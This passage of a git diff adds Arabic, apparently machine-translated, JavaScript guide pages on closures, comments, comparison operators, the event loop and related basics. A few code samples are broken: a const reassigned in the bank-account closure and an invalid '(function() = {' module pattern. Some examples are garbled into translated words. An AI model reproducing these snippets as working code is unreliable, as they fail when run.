+  return function inside() { // This is the function which the closure 'remembers' 
+    console.log(rememberedVar) 
+  } 
+ } 
+ 
+ var remember1 = outside(7); // remember1 is now a closure which contains rememberedVar = 7 in its lexical environment, and //the function 'inside' 
+ var remember2 = outside(9); // remember2 is now a closure which contains rememberedVar = 9 in its lexical environment, and //the function 'inside' 
+ 
+ remember1(); // This now executes the function 'inside' which console.logs(rememberedVar) => 7 
+ remember2(); // This now executes the function 'inside' which console.logs(rememberedVar) => 9 
+` 
+
+عمليات الإغلاق مفيدة لأنها تتيح لك "تذكر" البيانات ثم تتيح لك العمل على هذه البيانات من خلال الوظائف التي تم إرجاعها. هذا يسمح لجافا سكريبت بمحاكاة الأساليب الخاصة الموجودة في لغات البرمجة الأخرى. تعتبر الطرق الخاصة مفيدة لتقييد الوصول إلى التعليمات البرمجية بالإضافة إلى إدارة مساحة الاسم العام الخاصة بك.
+
+### المتغيرات الخاصة والأساليب
+
+يمكن أيضًا استخدام عمليات الإغلاق لتغليف البيانات / الطرق الخاصة. الق نظرة على هذا المثال:
+
+ `const bankAccount = (initialBalance) => { 
+  const balance = initialBalance; 
+ 
+  return { 
+    getBalance: function() { 
+      return balance; 
+    }, 
+    deposit: function(amount) { 
+      balance += amount; 
+      return balance; 
+    }, 
+  }; 
+ }; 
+ 
+ const account = bankAccount(100); 
+ 
+ account.getBalance(); // 100 
+ account.deposit(10); // 110 
+` 
+
+في هذا المثال ، لن نتمكن من الوصول إلى `balance` من أي مكان خارج وظيفة `bankAccount` ، مما يعني أننا قمنا للتو بإنشاء متغير خاص. أين الإغلاق؟ حسنًا ، فكر في ما `bankAccount()` . إنها في الواقع ترجع كائنًا يحتوي على مجموعة من الوظائف داخله ، ومع ذلك عندما نطلق على `account.getBalance()` ، فإن الوظيفة قادرة على "تذكر" مرجعها الأولي إلى `balance` . هذه هي قوة الإغلاق ، حيث "تتذكر" الدالة نطاقها المعجمى (ترجمة النطاق الزمني) ، حتى عندما يتم تنفيذ الوظيفة خارج النطاق المعجمى.
+
+**مضاهاة متغيرات نطاق الكتلة.**
+
+لم يكن جافا سكريبت مفهومًا لمتغيرات النطاق. بمعنى أنه عند تحديد متغير داخل forloop على سبيل المثال ، فإن هذا المتغير مرئي من خارج forloop أيضًا. إذن كيف يمكن أن تساعدنا الإغلاقات في حل هذه المشكلة؟ لنلقي نظرة.
+
+ `    var funcs = []; 
+ 
+    for(var i = 0; i < 3; i++){ 
+        funcs[i] = function(){ 
+            console.log('My value is ' + i);  //creating three different functions with different param values. 
+        } 
+    } 
+ 
+    for(var j = 0; j < 3; j++){ 
+        funcs[j]();             // My value is 3 
+                                // My value is 3 
+                                // My value is 3 
+    } 
+` 
+
+نظرًا لأن المتغير i ليس به نطاق نطاق ، فقد تم تحديث القيمة في جميع الوظائف الثلاث باستخدام عداد الحلقة وإنشاء قيم ضارة. يمكن أن يساعدنا الإغلاق في حل هذه المشكلة من خلال إنشاء لقطة للبيئة التي كانت عليها الدالة عند إنشائها ، مع الحفاظ على حالتها.
+
+ `    var funcs = []; 
+ 
+    var createFunction = function(val){ 
+        return function() {console.log("My value: " + val);}; 
+    } 
+ 
+    for (var i = 0; i < 3; i++) { 
+        funcs[i] = createFunction(i); 
+    } 
+    for (var j = 0; j < 3; j++) { 
+        funcs[j]();                 // My value is 0 
+                                    // My value is 1 
+                                    // My value is 2 
+    } 
+` 
+
+تحتوي الإصدارات المتأخرة من javascript es6 + على كلمة رئيسية جديدة تسمى let والتي يمكن استخدامها لإعطاء متغير blockscope. هناك أيضًا العديد من الوظائف (forEach) والمكتبات بأكملها (lodash.js) المخصصة لحل مثل هذه المشكلات مثل تلك الموضحة أعلاه. يمكنهم بالتأكيد تعزيز الإنتاجية الخاصة بك ، ولكن يبقى من المهم للغاية أن يكون لديك معرفة بكل هذه القضايا عند محاولة إنشاء شيء كبير.
+
+تحتوي عمليات الإغلاق على العديد من التطبيقات الخاصة المفيدة عند إنشاء برامج جافا سكريبت كبيرة الحجم.
+
+1.  محاكاة المتغيرات الخاصة أو التغليف
+2.  إجراء مكالمات جانب الخادم غير المتزامن
+3.  إنشاء متغير نطاق الكتلة.
+
+**محاكاة المتغيرات الخاصة.**
+
+بخلاف العديد من اللغات الأخرى ، لا تحتوي Javascript على آلية تسمح لك بإنشاء متغيرات حالة مغلفة ضمن كائن. يمكن أن يسبب متغيرات الحالة العامة الكثير من المشاكل عند إنشاء برامج متوسطة إلى كبيرة الحجم. لكن مع الإغلاق ، يمكن تخفيف هذه المشكلة.
+
+تشبه إلى حد كبير المثال السابق ، يمكنك إنشاء دالات تقوم بإرجاع القيم الحرفية للكائنات بطرق لها الوصول إلى المتغيرات المحلية للكائن دون تعريضها. وبالتالي ، مما يجعلها خاصة على نحو فعال.
+
+يمكن أن تساعدك الإغلاقات أيضًا في إدارة مساحة الاسم العامة لديك لتجنب التصادمات مع البيانات المشتركة عالميًا. عادة يتم مشاركة جميع المتغيرات العالمية بين جميع النصوص في مشروعك ، والتي بالتأكيد سوف تعطيك الكثير من المتاعب عند بناء برامج متوسطة إلى كبيرة. لهذا السبب يستخدم مؤلفو المكتبة والوحدات النمطية الإغلاق لإخفاء أساليب وبيانات الوحدة بالكامل. يسمى هذا نمط الوحدة النمطية ، ويستخدم تعبير دالة استدعى على الفور والذي يصدر فقط وظائف معينة إلى العالم الخارجي ، مما يقلل بشكل كبير من حجم المراجع العالمية.
+
+وإليك عينة قصيرة من هيكل عظمي وحدة نمطية.
+
+ `var myModule = (function() = { 
+    let privateVariable = 'I am a private variable'; 
+ 
+    let method1 = function(){ console.log('I am method 1'); }; 
+    let method2 = function(){ console.log('I am method 2, ', privateVariable); }; 
+ 
+    return { 
+        method1: method1, 
+        method2: method2 
+    } 
+ }()); 
+ 
+ myModule.method1(); // I am method 1 
+ myModule.method2(); // I am method 2, I am a private variable 
+` 
+
+تعتبر عمليات الإغلاق مفيدة في التقاط أمثلة جديدة للمتغيرات الخاصة الموجودة في بيئة "تذكر" ، ولا يمكن الوصول إلى هذه المتغيرات إلا من خلال الدالة أو الأساليب التي تم إرجاعها.
+
+### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)  
+[إغلاق جافا سكريبت](https://medium.freecodecamp.org/lets-learn-javascript-closures-66feb44f6a44)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/code-blocks/index.md b/client/src/guide/arabic/javascript/code-blocks/index.md
new file mode 100644
index 0000000000..f0ccc99784
--- /dev/null
+++ b/client/src/guide/arabic/javascript/code-blocks/index.md
@@ -0,0 +1,34 @@
+---
+title: Code Block
+localeTitle: كود بلوك
+---
+## المقدمة
+
+في برمجة الكمبيوتر، ****وكتلة**** أو رمز هو جزء من التعليمات البرمجية التي يتم تجميعها معا. تتألف الكتل من واحد أو أكثر من الإعلانات والبيانات. وتسمى لغة البرمجة التي تسمح بإنشاء الكتل ، بما في ذلك الكتل المتداخلة ضمن كتل أخرى ، بلغة برمجة منظمة. JavaScript هي إحدى لغات البرمجة.
+
+يتم استخدام بيان **كتلة** في JavaScript لتجميع بيانات صفر أو أكثر. يتم تحديد الكتلة بواسطة زوج من الأقواس المتعرجة.
+
+ `{ 
+  statement_1; 
+  statement_2; 
+  ... 
+  statement_n; 
+ } 
+` 
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/block)
+
+## أمثلة
+
+يُستخدم بيان **الكتلة** عادةً مع عبارات تدفق التحكم (على سبيل المثال ، `if...else` ، `for` ، `while` ) ووظائف.
+
+ `while (x < 10) { 
+  x++; 
+ } 
+ 
+ function addnums(num1, num2) { 
+  var sum = 0; 
+  sum = num1 + num2; 
+  return sum; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/code-linting-in-javascript/index.md b/client/src/guide/arabic/javascript/code-linting-in-javascript/index.md
new file mode 100644
index 0000000000..75428ca080
--- /dev/null
+++ b/client/src/guide/arabic/javascript/code-linting-in-javascript/index.md
@@ -0,0 +1,25 @@
+---
+title: Code Linting
+localeTitle: كود Linting
+---
+Linting هي عملية تشغيل برنامج يقوم بتحليل شفرتك بحثًا عن الأخطاء البرمجية والأسلوبية. أداة linting ، أو linter ، علامات أو علامات أي أخطاء محتملة في التعليمات البرمجية مثل أخطاء في بناء الجملة أو أسماء المتغيرات التي تم تهجئة بشكل غير صحيح. هذا يمكن أن يوفر الوقت ويساعدك على كتابة رمز أفضل.
+
+يمكن تثبيت `npm` باستخدام `npm` أو مدير حزم آخر. يمكن استخدام Linters من سطر الأوامر عن طريق تمرير في الملفات. كما تتوفر أدوات Linters أيضًا كمكونات إضافية للأدوات وأحيانًا يتم دمجها بشكل مباشر في برامج التحرير.
+
+في ما يلي بعض برامج Javascript Linters الشائعة:
+
+[JSLint](http://www.javascriptlint.com/online_lint.php)
+
+[JSHint](http://jshint.com)
+
+[JSCS](http://jscs.info)
+
+[ESLint](http://eslint.org)
+
+#### Linters للمحررين:
+
+*   التعليمات البرمجية المرئية: لتثبيت ملحق eslint ، افتح لوحة الأوامر (عرض -> Command Palette .. أو cmd + shift + p) وتنفيذ الأمر: تمديد تثبيت eslint
+
+#### الأدوات والمكونات الإضافية
+
+[أجمل](https://prettier.io)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/comments/index.md b/client/src/guide/arabic/javascript/comments/index.md
new file mode 100644
index 0000000000..1a4d83ddc0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/comments/index.md
@@ -0,0 +1,81 @@
+---
+title: Comments
+localeTitle: تعليقات
+---
+## تعليقات
+
+يستخدم المبرمجون التعليقات لإضافة تلميحات أو ملاحظات أو اقتراحات أو تحذيرات إلى شفرة المصدر الخاصة بهم ؛ ليس لها أي تأثير على الناتج الفعلي للرمز. يمكن أن تكون التعليقات مفيدة جدًا في توضيح الهدف من شفرتك أو ما يجب فعله.
+
+من الأفضل دائمًا عند البدء في التعليق في أكثر الأحيان ، لأنه يمكن أن يساعد أولئك الذين يقرؤون شفرتك على فهم ما تعتزم شفرتك فعله بالضبط.
+
+جافا سكريبت لديها طريقتان لتخصيص التعليقات في شفرتها.
+
+الطريقة الأولى هي `//` التعليق ؛ كل النص التالي `//` على نفس السطر في تعليق. فمثلا:
+
+ `function hello() { 
+  // This is a one line JavaScript comment 
+  console.log("Hello world!"); 
+ } 
+ hello(); 
+` 
+
+والطريقة الثانية هي `/* */` comment ، التي يمكن استخدامها للتعليقات ذات السطر الواحد والمتعددة الخطوط. فمثلا:
+
+ `function hello() { 
+  /* This is a one line JavaScript comment */ 
+  console.log("Hello world!"); 
+ } 
+ hello(); 
+` 
+
+ `function hello() { 
+  /* This comment spans multiple lines. Notice 
+     that we don't need to end the comment until we're done. */ 
+  console.log("Hello world!"); 
+ } 
+ hello(); 
+` 
+
+يمكنك أيضًا منع تنفيذ شفرة جافا سكريبت فقط عند استخدام خطوط الرمز مثل هذا:
+
+ `function hello() { 
+  /*console.log("Hello world!");*/ 
+ } 
+ hello(); 
+` 
+
+#### معلومات اكثر:
+
+[كيف تكتب تعليقات في جافا سكريبت](https://www.digitalocean.com/community/tutorials/how-to-write-comments-in-javascript)
+
+### تأتي العديد من IDEs مع اختصار لوحة المفاتيح للتعليق على الخطوط.
+
+1.  قم بتمييز النص ليتم التعليق عليه
+2.  نظام التشغيل Mac: Push Command (مفتاح Apple) & "/"
+3.  نظام التشغيل Windows: التحكم في الدفع & "/"
+4.  يمكنك أيضًا إزالة التعليمة البرمجية عن طريق تنفيذ الخطوات نفسها
+
+اختصار للتعليق على جزء من javascript في العديد من برامج تحرير التعليمات البرمجية هو إبراز سطور الكود الذي تريد التعليق عليه ، ثم اضغط `Cmd/Ctrl + /` .
+
+كما أن التعليقات مفيدة جدًا لاختبار الشفرة حيث يمكنك منع تشغيل سطر / فقرة رمز معين
+
+ `function hello() { 
+  // The statement below is not going to get executed 
+  // console.log('hi') 
+  } 
+ hello(); 
+` 
+
+ `function hello() { 
+  // The statements below are not going to get executed 
+  /* 
+  console.log('hi'); 
+  console.log('code-test'); 
+  */ 
+ } 
+ hello(); 
+` 
+
+#### معلومات اكثر:
+
+*   [كيف تكتب تعليقات في جافا سكريبت](https://www.digitalocean.com/community/tutorials/how-to-write-comments-in-javascript)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/comparison-operators/index.md b/client/src/guide/arabic/javascript/comparison-operators/index.md
new file mode 100644
index 0000000000..0df848d212
--- /dev/null
+++ b/client/src/guide/arabic/javascript/comparison-operators/index.md
@@ -0,0 +1,195 @@
+---
+title: Comparison Operators
+localeTitle: عوامل المقارنة
+---
+تحتوي JavaScript **على** مقارنات **صارمة** **ونوع تحويل** .
+
+*   المقارنة الصارمة (مثل ===) صحيحة فقط إذا كانت المعاملات من نفس النوع.
+    
+*   المقارنة المجردة الأكثر استخدامًا (على سبيل المثال ==) تقوم بتحويل المعاملات إلى نفس النوع قبل إجراء المقارنة.
+    
+*   بالنسبة للمقارنات المجردة العلائقية (على سبيل المثال ، <=) ، يتم تحويل المعاملات أولاً إلى الأوليات ، ثم إلى نفس النوع ، قبل المقارنة.
+    
+*   تتم مقارنة السلاسل استنادًا إلى الترتيب المعجمي القياسي ، باستخدام قيم Unicode.
+    
+
+## ميزات المقارنات:
+
+*   تكون السمتان متساويتان تمامًا عندما يكون لهما نفس التسلسل من الأحرف والطول نفسه والحروف نفسها في المواضع المقابلة.
+    
+*   رقمين متساويان تمامًا عندما تكون متساوية عدديًا (لها نفس قيمة الرقم). NaN لا تساوي أي شيء ، بما في ذلك NaN. الأصفار الإيجابية والسلبية تساوي بعضها البعض.
+    
+*   اثنين من المعاملات المنطقية متساوية تماما إذا كان كلاهما صحيحا أو كلاهما غير صحيح.
+    
+*   اثنين من الكائنات المتميزة لا تساوي أبدا للمقارنات الصارمة أو المجردة.
+    
+*   يكون التعبير الذي يقارن الكائنات صحيحًا فقط إذا كانت المعاملات تشير إلى نفس الكائن.
+    
+*   تكون كل من Null و Undefined Typs متساوية تمامًا مع نفسها وتساوي نظريًا مع بعضها البعض.
+    
+
+## مشغلي المساواة
+
+### المساواة (==)
+
+يقوم مشغل المساواة بتحويل المعاملات إذا **لم تكن من نفس النوع** ، ثم تطبق المقارنة الصارمة. إذا كان **كلا المعاملات عبارة عن كائنات** ، فإن JavaScript يقارن المراجع الداخلية التي تساوي عندما تشير المعاملات إلى نفس الكائن في الذاكرة.
+
+#### بناء الجملة
+
+ ` x == y 
+` 
+
+#### أمثلة
+
+ ` 1   ==  1        // true 
+ "1"  ==  1        // true 
+ 1   == '1'       // true 
+ 0   == false     // true 
+ 0   == null      // false 
+ 
+   0   == undefined   // false 
+ null  == undefined   // true 
+` 
+
+### عدم المساواة (! =)
+
+عامل عدم المساواة بإرجاع true إذا كانت المعاملات غير متساوية. إذا **لم يكن** المعاملان **من نفس النوع** ، يحاول JavaScript تحويل المعاملات إلى نوع مناسب للمقارنة. إذا كانت **كل المعاملات هي كائنات** ، فإن JavaScript يقارن المراجع الداخلية التي لا تساوي عندما تشير المعاملات إلى كائنات مختلفة في الذاكرة.
+
+#### بناء الجملة
+
+ `x != y 
+` 
+
+#### أمثلة
+
+ `1 !=   2     // true 
+ 1 !=  "1"    // false 
+ 1 !=  '1'    // false 
+ 1 !=  true   // false 
+ 0 !=  false  // false 
+` 
+
+### الهوية / المساواة الصارمة (===)
+
+عامل تشغيل الهوية بإرجاع true إذا كانت المعاملات متساوية بدقة **مع أي نوع التحويل** .
+
+#### بناء الجملة
+
+ `x === y 
+` 
+
+#### أمثلة
+
+ `3 === 3   // true 
+ 3 === '3' // false 
+` 
+
+### عدم الهوية / عدم المساواة الصارمة (! ==)
+
+يتم إرجاع عامل التشغيل non-identity إذا كانت المعاملات **غير متساوية و / أو لا من نفس النوع** .
+
+#### بناء الجملة
+
+ `x !== y 
+` 
+
+#### أمثلة
+
+ `3 !== '3' // true 
+ 4 !== 3   // true 
+` 
+
+## مشغلي العلائقية
+
+### أكبر من المشغل (>)
+
+أكبر من المشغل يعود صحيح إذا كان المعامل الأيسر أكبر من المعامل الصحيح.
+
+#### بناء الجملة
+
+ `x > y 
+` 
+
+#### أمثلة
+
+ `4 > 3 // true 
+` 
+
+### عامل أكبر من أو مساوي (> =)
+
+عامل التشغيل أكبر من أو يساوي بإرجاع true إذا كان المعامل الأيسر أكبر من أو يساوي المعامل الأيمن.
+
+#### بناء الجملة
+
+ `x >= y 
+` 
+
+#### أمثلة
+
+ `4 >= 3 // true 
+ 3 >= 3 // true 
+` 
+
+### أقل من المشغل (<)
+
+أقل من عامل التشغيل يعود صحيح إذا كان المعامل الأيسر أقل من المعامل الصحيح.
+
+#### بناء الجملة
+
+ `x < y 
+` 
+
+#### أمثلة
+
+ `3 < 4 // true 
+` 
+
+### أقل من أو يساوي المشغل (<=)
+
+عامل التشغيل أقل من أو يساوي بإرجاع true إذا كان المعامل الأيسر أقل من أو يساوي المعامل الأيمن.
+
+#### بناء الجملة
+
+ `x <= y 
+` 
+
+#### أمثلة
+
+ `3 <= 4 // true 
+` 
+
+_يمكنك العثور على مزيد من المعلومات في [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) ._
+
+## مقارنة لاغية وغير محددة
+
+عندما نقارن لاغية وغير محددة نرى سلوك مختلف. يتيح التحقق من سيناريو مختلف من خلال الأمثلة
+
+#### مثال - فحص دقيق للمساواة (===)
+
+console.log (خالية === غير محدد)؛ // O / P - false
+
+Otuput غير صحيح وهذا صحيح لأننا نعلم أن "null" و "undefined" هي أنواع مختلفة.
+
+#### مثال - التحقق من المساواة غير الصارمة (==)
+
+console.log (خالية == غير محدد) ؛ // O / P: - صحيح
+
+ماذا؟ هذا لأن هناك قاعدة خاصة لـ "فارغة" و "غير معرفة". نظرا لأنها متساوية في حالة الفحص غير المتشدد (==) ولكنها لا تساوي أي قيمة أخرى.
+
+إذا استخدمنا عوامل المقارنة مثل <،> ، <= ،> = وما إلى ذلك ، يتم تحويل "فارغ" و "غير محدد" إلى رقم وفي مثل هذه الحالات ، تصبح القيمة "فارغة" 0 و "غير محددة" ستكون نانوية. يتيح التحقق من بعض تلك الأمثلة.
+
+#### مثال - قارن الصفر بـ 0 (صفر)
+
+console.log (خالية> 0) ؛ // O / P - false console.log (فارغة) = 0) ؛ // O / P - صحيح console.log (خالية == 0) ؛ // O / P - false
+
+غريب؟ وفقا للبيان الأول ، لا تكون القيمة null أكبر من 0 ومن العبارة الثانية تكون null أكبر من أو تساوي 0. لذا ، إذا فكرنا رياضيا ومقارنة كلتا العبارتين ، فستصل إلى النتيجة أن null تساوي 0. لكن ، حسب البيان الثالث ليس صحيحا. لماذا ا؟
+
+والسبب هو "المقارنة" و "التحقق من المساواة" يعملان بطريقة مختلفة. في المقارنة ، يتم أولاً تحويل "null / undefined" إلى رقم لذلك ، في أول حالتين "null" تصبح 0 و لذلك case1) (فارغة> 0) -> false و case2) (null> = 0) -> true. ولكن ، في التحقق من المساواة (==) ، تعمل "خالية / غير محددة" دون أي تحويل وكما هو موضح أعلاه (قاعدة خاصة) ، في التحقق من المساواة "خالية / غير محددة" تساوي فقط بعضها البعض ولا تساوي أي شيء آخر. وبالتالي (خالية == 0) -> كاذبة.
+
+#### مثال - قارن غير محدد 0 (صفر)
+
+console.log (غير محدد> 0)؛ // O / P - false console.log (غير محدد> = 0)؛ // O / P - false console.log (غير محدد == 0) ؛ // O / P - false
+
+هنا ، نختبر نفس الحالات كما فعلنا للشيء الفارغ لكن النتيجة أخرى مختلفة. لماذا ا؟
+
+الأسباب هي على النحو التالي. في الحالتين الأوليين ، نقوم بمقارنة غير معروف مع 0 وكما ذكرنا أعلاه بالمقارنة يتم تحويل غير معرفة إلى NaN. NaN هي قيمة خاصة تعود دائمًا كاذبة بالمقارنة مع أي رقم وهذا هو السبب في أننا حصلنا على نتائج خاطئة في أول حالتين. بالنسبة للبيان الثالث ، فإن السبب هو نفسه كما هو مذكور في "null". في التحقق من المساواة "لاغية / غير محددة" تساوي فقط بعضها البعض ولا تساوي أي شيء آخر. وبالتالي (undefined == 0) -> false.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/concurrency-model-and-event-loop/index.md b/client/src/guide/arabic/javascript/concurrency-model-and-event-loop/index.md
new file mode 100644
index 0000000000..920ea2f4c2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/concurrency-model-and-event-loop/index.md
@@ -0,0 +1,64 @@
+---
+title: Concurrency Model and Event Loop
+localeTitle: نموذج التزامن وحلقة الحدث
+---
+## نموذج التزامن وحلقة الحدث
+
+يكون وقت تشغيل جافا سكريبت واحدًا متسلسلًا مما يعني أنه يمكنه تنفيذ جزء واحد من الشفرة في كل مرة. لفهم نموذج التزامن وحلقة الحدث في جافا سكريبت ، يتعين علينا أولاً التعرف على بعض المصطلحات الشائعة المرتبطة بها. دعونا أولا نتعرف على ما هو مكدس المكالمات.
+
+مكدس الاستدعاءات عبارة عن بنية بيانات بسيطة تسجل مكان التعليمة البرمجية التي نحن عليها حاليًا. لذا إذا قمنا بالانتقال إلى دالة تمثل استدعاء دالة ، فسيتم دفعها إلى مكدس الاستدعاءات وعندما نعود من إحدى الوظائف ، يتم إخراجها من المكدس.
+
+لنأخذ مثال الكود لفهم مكدس المكالمات
+
+ `function multiply(x,y) { 
+   return x * y; 
+ } 
+ 
+ function squared(n) { 
+     return multiply(n,n) 
+  } 
+ 
+ function printSquare(n) { 
+   return squared(n) 
+ } 
+ 
+ let numberSquared = printSquare(5); 
+ console.log(numberSquared); 
+` 
+
+أولاً عند تنفيذ التعليمات البرمجية وقت التشغيل خلال كل تعريفات الدالة ولكن عندما يصل إلى السطر حيث يتم استدعاء الدالة الأولى **printSquare (5)** فإنه سيتم دفع هذه الوظيفة إلى مكدس الاستدعاءات. بعد ذلك ، ستنفذ هذه الوظيفة وستواجه ، قبل إعادتها ، دالة أخرى **مربعة (n)** بحيث ستعلق العملية الحالية وتدفع هذه الوظيفة إلى أعلى الوظيفة الحالية. ينفذ الدالة في هذه الحالة الدالة التربيعية وأخيرًا يواجه دالة أخرى **مضاعفة (n، n)** ومن ثم فإنه يعلق عمليات التنفيذ الحالية ويدفع هذه الوظيفة إلى مكدس الاستدعاءات. ينفذ ضرب ويعود مع قيمة مضروب. وأخيرًا ، ترجع الدالة التربيعية وتنبثق من الحزمة ثم ينتقل نفس الشيء مع printSquare. يتم تخصيص القيمة التربيعية النهائية للمتغير numberSquared. نحن نواجه مرة أخرى استدعاء دالة في هذه الحالة هو عبارة console.log () بحيث يدفع وقت التشغيل هذا إلى المكدس الذي ينفذها وبالتالي طباعة الرقم التربيعي على وحدة التحكم. وتجدر الإشارة إلى أن الوظيفة الأولى التي يتم دفعها إلى الكدسة قبل تشغيل أي من التعليمات البرمجية المذكورة أعلاه هي الوظيفة الرئيسية التي يُشار إليها في وقت التشغيل بأنها "وظيفة مجهولة".
+
+لذلك لتلخيص كلما تم استدعاء دالة يتم دفعه إلى مكدس الاستدعاءات حيث ينفذ. وأخيرًا ، عندما يتم تنفيذ المهمة مع تنفيذها وتعود إما ضمنيًا أو صريحًا ، ستخرج من المكدس. مكدس الاستدعاءات يسجل فقط في أي وقت من الأوقات التي كانت تنفذ funciton. إنه يحتفظ بالوظيفة التي يتم تنفيذها حاليًا.
+
+الآن نعرف من هذا أن جافا سكريبت تستطيع تنفيذ أمر واحد في كل مرة ولكن هذا ليس هو الحال مع المتصفح. يحتوي المتصفح على مجموعة خاصة به من API مثل setTimeout ، XMLHttpRequests والتي لم يتم تحديدها في وقت تشغيل Javascript. في الواقع ، إذا نظرت عبر شفرة المصدر لـ V8 ، فإن وقت تشغيل جافا سكريبت الشهير الذي يدعم المتصفحات مثل Google Chrome لن تجد أي تعريف له. يرجع السبب إلى وجود واجهة برمجة تطبيقات الويب الخاصة هذه في بيئة المتصفح وليس داخل بيئة جافا سكريبت ، ويمكنك القول أن هذه الواجهة تقدم التزامن في المزيج. دعونا ننظر إلى الرسم البياني لفهم الصورة بأكملها.
+
+![التزامن ونموذج حدث حلقة](https://i.imgur.com/rnQEY7o.png)
+
+يتم تقديم بعض المصطلحات أكثر
+
+**الكومة** - إنها في الغالب المكان الذي يتم فيه تخصيص الكائنات.
+
+**Callback Queue** - هي بنية بيانات تخزن جميع عمليات الاسترجاعات. نظرًا لأنه طابورًا ، تتم معالجة العناصر استنادًا إلى FIFO والتي تكون الأولى في First Out.
+
+**حدث حلقة** - هذا هو المكان الذي يجمع كل هذه الأشياء معا. ما تقوم به حلقة الحدث ببساطة هو أنها تتحقق من مكدّسات المكالمة وإذا كانت فارغة ، مما يعني عدم وجود وظائف في المكدس تستدعي أقدم رد اتصال من قائمة انتظار رد الاتصال ويدفعه إلى مكدس الاستدعاءات الذي ينفذ في النهاية رد الاتصال.
+
+دعونا نفهم هذا مع مثال الكود
+
+ `console.log('hi'); 
+ 
+ setTimeout(function() { 
+     console.log('freecodeCamp') 
+ },5000); 
+ 
+ console.log('JS') 
+` 
+
+عندما ينفّذ السطر الأول ، يكون الأمر console.log () وهو عبارة عن استدعاء للوظيفة ، مما يعني أن هذه الوظيفة يتم دفعها إلى مكدس الاستدعاءات حيث تقوم بتنفيذ الطباعة "hi" إلى وحدة التحكم وأخيراً يتم إرجاعها ويتم إفراغها من المكدس. ثم عندما يذهب وقت التشغيل لتنفيذ setTimeout () فإنه يعرف أن هذا هو API على شبكة الإنترنت ، وبالتالي فإنه يعطيها إلى المتصفح للتعامل مع تنفيذ ذلك. يبدأ المتصفح في تشغيل جهاز ضبط الوقت ثم ينبثق وقت تشغيل JS في وضع setTimeout () خارج الحزمة. يواجه استدعاء آخر console.log () ومن ثم فإنه يدفع هذا في مكدس الاستدعاءات يتم تسجيل الرسالة 'JS' في وحدة التحكم ومن ثم يتم إرجاعها ومن ثم يتم إفراغ الأخير console.log () إيقاف المكدس. الآن مكدس الاستدعاءات فارغ. في الوقت نفسه بينما كان كل هذا يحدث على انتهاء جهاز ضبط الوقت الذي يكون عند مرور 5 ثوان ، ينتقل المتصفح ويدفع وظيفة رد الاتصال إلى قائمة انتظار رد الاتصال. بعد ذلك ، تقوم حلقة الحدث بالتحقق مما إذا كانت مكدس الاستدعاءات مجاني أم لا. نظرًا لأنه مجاني ، فإنه يأخذ وظيفة رد الاتصال ويدفعه مرة أخرى إلى مكدس الاستدعاءات الذي ينفذ الشفرة بداخله. مرة أخرى داخل التعليمات البرمجية هناك استدعاء console.log () بحيث تنتقل هذه الوظيفة إلى الجزء العلوي من المكدس الذي يسجل "freecodecamp" في وحدة التحكم وأخيراً يتم إرجاعه يعني أنه يحصل poppped إيقاف المكدس وأخيراً ينفجر رد الاتصال من المكدس وإننا انتهينا.
+
+لتصور هذا أفضل محاولة هذه الأداة من قبل فيليب روبرتس- [لووب الحدث حلقة متخيل](http://latentflip.com/loupe/?code=!!!PGJ1dHRvbj5DbGljayBtZSE8L2J1dHRvbj4%3D)
+
+#### معلومات اكثر:
+
+[فيليب روبرتس: ما هيك هو حلقة الحدث على أي حال؟ | JSConf EU 2014](https://www.youtube.com/watch?v=8aGhZQkoFbQ)
+
+[نموذج التزامن وحلقة الحدث MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/conditional-ternary-operators/index.md b/client/src/guide/arabic/javascript/conditional-ternary-operators/index.md
new file mode 100644
index 0000000000..3b1bc2c5d0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/conditional-ternary-operators/index.md
@@ -0,0 +1,33 @@
+---
+title: Conditional Ternary Operators
+localeTitle: مشغلون شرطيون شرطيون
+---
+## مشغلون شرطيون شرطيون
+
+### الاستخدام الأساسي
+
+المشغل الثلاثي هو طريقة مدمجة لكتابة if-else داخل تعبير.
+
+ `const thing = (condition) ? <if true> : <if false>; 
+` 
+
+على سبيل المثال
+
+ `const cappedInput = input > 50 ? 50 : input // this will cap the input at 50 
+` 
+
+### آخر إذا
+
+يمكنك أيضًا تشغيل مشغلات ثلاثية ، وبهذه الطريقة سيكون لديك سلوك آخر في حالة ما عدا ذلك
+
+ `<first condition> ? <value if first true> 
+ : <second condition> ? <value if second is true> 
+ : <fallback value> 
+` 
+
+> **نصيحة للمحترفين** : كما ترى ، يمكنك تقسيم المشغل الثلاثي على عدة أسطر على سبيل المثال
+
+ `const wealth = housesOwned > 3 ? "rich" 
+             : housesOwned > 1 ? "nothing to complain" 
+             : "poor" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/converting-strings-to-numbers/index.md b/client/src/guide/arabic/javascript/converting-strings-to-numbers/index.md
new file mode 100644
index 0000000000..e9329a5bbd
--- /dev/null
+++ b/client/src/guide/arabic/javascript/converting-strings-to-numbers/index.md
@@ -0,0 +1,93 @@
+---
+title: Converting Strings to Numbers
+localeTitle: تحويل السلاسل إلى أرقام
+---
+## تحويل السلاسل إلى أرقام
+
+يوزع الدالة `parseInt()` وسيطة سلسلة وإرجاع عدد صحيح من radix المحدد (الأساسي في أنظمة الأرقام الرياضية).
+
+ `    parseInt(string, radix); 
+` 
+
+### المعلمات
+
+ `string 
+` 
+
